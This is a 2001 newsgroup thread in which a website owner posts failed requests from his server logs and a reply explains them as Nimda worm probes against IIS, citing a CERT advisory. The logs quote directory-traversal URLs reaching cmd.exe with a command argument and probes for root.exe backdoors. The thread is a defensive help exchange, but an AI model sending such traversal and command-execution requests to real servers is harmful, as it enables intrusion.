Thread View: demon.ip.www
2 messages
2 total messages
Started by John Perry
Mon, 03 Dec 2001 23:18
Log file entries - query
Author: John Perry
Date: Mon, 03 Dec 2001 23:18
Date: Mon, 03 Dec 2001 23:18
18 lines
1520 bytes
1520 bytes
Here's an extract from my log files of failures: 154: /scripts/..%255c../winnt/system32/cmd.exe 154: /scripts/..%255c../winnt/system32/cmd.exe?/c+dir 145: /scripts/..%5c../winnt/system32/cmd.exe 145: /scripts/..%5c../winnt/system32/cmd.exe?/c+dir 136: /scripts/root.exe 136: /scripts/root.exe?/c+dir 98: /msadc/root.exe 98: /msadc/root.exe?/c+dir 89: /d/winnt/system32/cmd.exe 89: /d/winnt/system32/cmd.exe?/c+dir Anyone have any idea on what is going on here? I have no scripts directory -- JohnPerry@redoak.co.ukNOSPAM (delete NOSPAM) www.redoak.co.uk www.eze-buy.co.uk
Re: Log file entries - query
Author: Richard Tibbitt
Date: Tue, 04 Dec 2001 07:34
Date: Tue, 04 Dec 2001 07:34
36 lines
2115 bytes
2115 bytes
John Perry <JohnPerry@redoak.co.ukNOSPAM> wrote: >Here's an extract from my log files of failures: > >154: /scripts/..%255c../winnt/system32/cmd.exe > 154: /scripts/..%255c../winnt/system32/cmd.exe?/c+dir > 145: /scripts/..%5c../winnt/system32/cmd.exe > 145: /scripts/..%5c../winnt/system32/cmd.exe?/c+dir > 136: /scripts/root.exe > 136: /scripts/root.exe?/c+dir > 98: /msadc/root.exe > 98: /msadc/root.exe?/c+dir > 89: /d/winnt/system32/cmd.exe > 89: /d/winnt/system32/cmd.exe?/c+dir > >Anyone have any idea on what is going on here? I have no scripts >directory Hi - you're probably on a Unix system as well so the above can do no damage - it's an attempted attack by the Nimda virus/worm from a machine running Win NT/2000 & IIS thats been infected - see CERT Advisory CA-2001-26: Nimda Worm http://www.cert.org/advisories/CA-2001-26.html for more details, but you needn't worry about it. You could report the attack to the abuse department of the ISP hosting the IP address from which the attack came but don't expect any more than an auto-acknowledgement if that. HTH -- Richard Tibbitt Looe, Cornwall, UK tibbs@tibbs1.demon.co.uk
Thread Navigation
This is a paginated view of messages in the thread with full content displayed inline.
Messages are displayed in chronological order, with the original post highlighted in green.
Use pagination controls to navigate through all messages in large threads.
Back to All Threads